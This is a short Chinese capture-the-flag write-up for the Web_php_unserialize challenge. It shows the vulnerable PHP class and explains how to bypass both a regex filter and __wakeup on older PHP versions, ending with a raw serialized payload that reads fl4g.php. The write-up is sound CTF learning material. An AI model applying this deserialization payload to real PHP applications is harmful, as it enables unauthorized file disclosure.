攻防世界Web_php_unserialize(__wakeup函数绕过)
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
第一个正则绕过,在数字前面加个‘+’即可。
第二个__wakeup绕过:在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过。
因此raw-payload:O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}(注意这里的空格,其实不是空格而是十六进制\x00我们需要在burp中修改如下图)
提交我们的答案即可。
更多细节看我另一篇文章php反序列化基础知识